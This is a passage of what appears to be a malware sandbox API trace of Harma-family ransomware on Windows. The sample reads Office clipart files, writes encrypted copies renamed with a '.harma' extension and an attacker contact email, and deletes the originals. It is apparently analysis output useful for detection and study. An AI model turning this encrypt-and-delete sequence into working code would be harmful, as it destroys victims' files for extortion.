lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0160.155] lstrlenW (lpString=".docx") returned 5 [0160.155] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0160.156] lstrlenW (lpString=".pdf") returned 4 [0160.156] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0160.156] lstrlenW (lpString=".xls") returned 4 [0160.156] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0160.156] lstrlenW (lpString=".xlsx") returned 5 [0160.156] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0160.156] lstrlenW (lpString=".ppt") returned 4 [0160.156] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0160.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF") returned 63 [0160.156] lstrlenW (lpString=".zip") returned 4 [0160.156] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0160.156] lstrlenW (lpString=".rar") returned 4 [0160.156] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0160.156] lstrlenW (lpString=".bz2") returned 4 [0160.156] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0160.156] lstrlenW (lpString=".7z") returned 3 [0160.156] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0160.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF") returned 63 [0160.156] lstrlenW (lpString=".dbf") returned 4 [0160.156] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0160.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF") returned 63 [0160.156] lstrlenW (lpString=".1cd") returned 4 [0160.156] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0160.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF") returned 63 [0160.156] lstrlenW (lpString=".jpg") returned 4 [0160.156] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0160.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF") returned 63 [0160.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF") returned 63 [0160.156] lstrlenW (lpString=".doc") returned 4 [0160.156] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0160.156] lstrlenW (lpString=".docx") returned 5 [0160.157] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0160.157] lstrlenW (lpString=".pdf") returned 4 [0160.157] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0160.157] lstrlenW (lpString=".xls") returned 4 [0160.157] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0160.157] lstrlenW (lpString=".xlsx") returned 5 [0160.157] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0160.157] lstrlenW (lpString=".ppt") returned 4 [0160.157] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0160.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF") returned 63 [0160.157] lstrlenW (lpString=".zip") returned 4 [0160.157] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0160.157] lstrlenW (lpString=".rar") returned 4 [0160.157] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0160.157] lstrlenW (lpString=".bz2") returned 4 [0160.157] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0160.157] lstrlenW (lpString=".7z") returned 3 [0160.157] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0160.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF") returned 63 [0160.157] lstrlenW (lpString=".dbf") returned 4 [0160.157] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0160.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF") returned 63 [0160.157] lstrlenW (lpString=".1cd") returned 4 [0160.157] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0160.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF") returned 63 [0160.157] lstrlenW (lpString=".jpg") returned 4 [0160.157] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0160.158] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0160.158] lstrlenW (lpString="J0093905.WMF") returned 12 [0160.158] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0093905.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0160.164] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=42050) returned 1 [0160.165] CloseHandle (hObject=0x364) returned 1 [0160.165] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0093905.wmf")) returned 0x20 [0160.165] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0093905.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0160.165] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0093905.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0160.165] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0160.165] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0160.165] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0093905.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0160.166] GetLastError () returned 0x0 [0160.166] ReadFile (in: hFile=0x364, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0xa442, lpOverlapped=0x0) returned 1 [0160.168] WriteFile (in: hFile=0x360, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0xa450, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xa450, lpOverlapped=0x0) returned 1 [0160.170] ReadFile (in: hFile=0x364, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0160.170] WriteFile (in: hFile=0x360, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0160.170] SetEndOfFile (hFile=0x360) returned 1 [0160.170] CloseHandle (hObject=0x360) returned 1 [0160.170] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0160.170] SetEndOfFile (hFile=0x364) returned 1 [0160.183] CloseHandle (hObject=0x364) returned 1 [0160.183] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0160.184] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0093905.wmf")) returned 1 [0160.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF") returned 63 [0160.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF") returned 63 [0160.185] lstrlenW (lpString=".doc") returned 4 [0160.185] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0160.185] lstrlenW (lpString=".docx") returned 5 [0160.185] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0160.185] lstrlenW (lpString=".pdf") returned 4 [0160.185] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0160.185] lstrlenW (lpString=".xls") returned 4 [0160.185] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0160.185] lstrlenW (lpString=".xlsx") returned 5 [0160.185] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0160.185] lstrlenW (lpString=".ppt") returned 4 [0160.185] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0160.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF") returned 63 [0160.185] lstrlenW (lpString=".zip") returned 4 [0160.185] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0160.185] lstrlenW (lpString=".rar") returned 4 [0160.185] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0160.185] lstrlenW (lpString=".bz2") returned 4 [0160.185] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0160.185] lstrlenW (lpString=".7z") returned 3 [0160.185] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0160.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF") returned 63 [0160.185] lstrlenW (lpString=".dbf") returned 4 [0160.185] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0160.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF") returned 63 [0160.185] lstrlenW (lpString=".1cd") returned 4 [0160.185] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0160.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF") returned 63 [0160.185] lstrlenW (lpString=".jpg") returned 4 [0160.185] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0160.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF") returned 63 [0160.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF") returned 63 [0160.186] lstrlenW (lpString=".doc") returned 4 [0160.186] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0160.186] lstrlenW (lpString=".docx") returned 5 [0160.186] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0160.186] lstrlenW (lpString=".pdf") returned 4 [0160.186] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0160.186] lstrlenW (lpString=".xls") returned 4 [0160.186] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0160.186] lstrlenW (lpString=".xlsx") returned 5 [0160.186] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0160.186] lstrlenW (lpString=".ppt") returned 4 [0160.186] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0160.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF") returned 63 [0160.186] lstrlenW (lpString=".zip") returned 4 [0160.186] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0160.186] lstrlenW (lpString=".rar") returned 4 [0160.186] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0160.186] lstrlenW (lpString=".bz2") returned 4 [0160.186] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0160.186] lstrlenW (lpString=".7z") returned 3 [0160.186] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0160.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF") returned 63 [0160.186] lstrlenW (lpString=".dbf") returned 4 [0160.186] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0160.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF") returned 63 [0160.186] lstrlenW (lpString=".1cd") returned 4 [0160.186] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0160.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF") returned 63 [0160.187] lstrlenW (lpString=".jpg") returned 4 [0160.187] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0160.187] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0160.187] lstrlenW (lpString="J0098497.WMF") returned 12 [0160.187] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0098497.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0160.188] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=4970) returned 1 [0160.188] CloseHandle (hObject=0x364) returned 1 [0160.192] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0098497.wmf")) returned 0x20 [0160.192] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0098497.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0160.193] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0098497.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0160.193] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0160.193] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0160.193] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0098497.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0160.194] GetLastError () returned 0x0 [0160.194] ReadFile (in: hFile=0x364, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x136a, lpOverlapped=0x0) returned 1 [0160.195] WriteFile (in: hFile=0x360, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x1370, lpOverlapped=0x0) returned 1 [0160.196] ReadFile (in: hFile=0x364, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0160.196] WriteFile (in: hFile=0x360, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0160.197] SetEndOfFile (hFile=0x360) returned 1 [0160.197] CloseHandle (hObject=0x360) returned 1 [0160.197] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0160.197] SetEndOfFile (hFile=0x364) returned 1 [0160.199] CloseHandle (hObject=0x364) returned 1 [0160.199] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0160.199] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0098497.wmf")) returned 1 [0160.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF") returned 63 [0160.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF") returned 63 [0160.200] lstrlenW (lpString=".doc") returned 4 [0160.200] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0160.200] lstrlenW (lpString=".docx") returned 5 [0160.200] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0160.200] lstrlenW (lpString=".pdf") returned 4 [0160.200] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0160.200] lstrlenW (lpString=".xls") returned 4 [0160.200] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0160.200] lstrlenW (lpString=".xlsx") returned 5 [0160.200] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0160.200] lstrlenW (lpString=".ppt") returned 4 [0160.200] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0160.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF") returned 63 [0160.200] lstrlenW (lpString=".zip") returned 4 [0160.200] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0160.200] lstrlenW (lpString=".rar") returned 4 [0160.200] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0160.200] lstrlenW (lpString=".bz2") returned 4 [0160.200] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0160.200] lstrlenW (lpString=".7z") returned 3 [0160.200] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0160.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF") returned 63 [0160.201] lstrlenW (lpString=".dbf") returned 4 [0160.201] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0160.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF") returned 63 [0160.201] lstrlenW (lpString=".1cd") returned 4 [0160.201] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0160.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF") returned 63 [0160.201] lstrlenW (lpString=".jpg") returned 4 [0160.201] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0160.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF") returned 63 [0160.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF") returned 63 [0160.201] lstrlenW (lpString=".doc") returned 4 [0160.201] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0160.201] lstrlenW (lpString=".docx") returned 5 [0160.201] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0160.201] lstrlenW (lpString=".pdf") returned 4 [0160.201] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0160.201] lstrlenW (lpString=".xls") returned 4 [0160.201] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0160.201] lstrlenW (lpString=".xlsx") returned 5 [0160.201] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0160.201] lstrlenW (lpString=".ppt") returned 4 [0160.201] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0160.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF") returned 63 [0160.201] lstrlenW (lpString=".zip") returned 4 [0160.201] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0160.201] lstrlenW (lpString=".rar") returned 4 [0160.201] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0160.201] lstrlenW (lpString=".bz2") returned 4 [0160.201] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0160.202] lstrlenW (lpString=".7z") returned 3 [0160.202] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0160.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF") returned 63 [0160.202] lstrlenW (lpString=".dbf") returned 4 [0160.202] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0160.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF") returned 63 [0160.202] lstrlenW (lpString=".1cd") returned 4 [0160.202] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0160.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF") returned 63 [0160.202] lstrlenW (lpString=".jpg") returned 4 [0160.202] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0160.202] lstrcmpiW (lpString1=".JPG", lpString2=".harma") returned 1 [0160.202] lstrlenW (lpString="J0099145.JPG") returned 12 [0160.202] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099145.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0160.204] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=24759) returned 1 [0160.204] CloseHandle (hObject=0x364) returned 1 [0160.204] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099145.jpg")) returned 0x20 [0160.205] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099145.jpg.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0160.205] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099145.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0160.205] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0160.205] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0160.205] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099145.jpg.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0160.206] GetLastError () returned 0x0 [0160.206] ReadFile (in: hFile=0x364, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x60b7, lpOverlapped=0x0) returned 1 [0160.607] WriteFile (in: hFile=0x360, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0x60c0, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x60c0, lpOverlapped=0x0) returned 1 [0160.608] ReadFile (in: hFile=0x364, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0160.608] WriteFile (in: hFile=0x360, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0160.608] SetEndOfFile (hFile=0x360) returned 1 [0160.609] CloseHandle (hObject=0x360) returned 1 [0160.609] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0160.609] SetEndOfFile (hFile=0x364) returned 1 [0160.612] CloseHandle (hObject=0x364) returned 1 [0160.612] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0160.757] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099145.jpg")) returned 1 [0160.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG") returned 63 [0160.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG") returned 63 [0160.815] lstrlenW (lpString=".doc") returned 4 [0160.815] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0160.815] lstrlenW (lpString=".docx") returned 5 [0160.815] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0160.815] lstrlenW (lpString=".pdf") returned 4 [0160.815] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0160.815] lstrlenW (lpString=".xls") returned 4 [0160.815] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0160.815] lstrlenW (lpString=".xlsx") returned 5 [0160.815] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0160.816] lstrlenW (lpString=".ppt") returned 4 [0160.816] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0160.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG") returned 63 [0160.816] lstrlenW (lpString=".zip") returned 4 [0160.816] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0160.816] lstrlenW (lpString=".rar") returned 4 [0160.816] 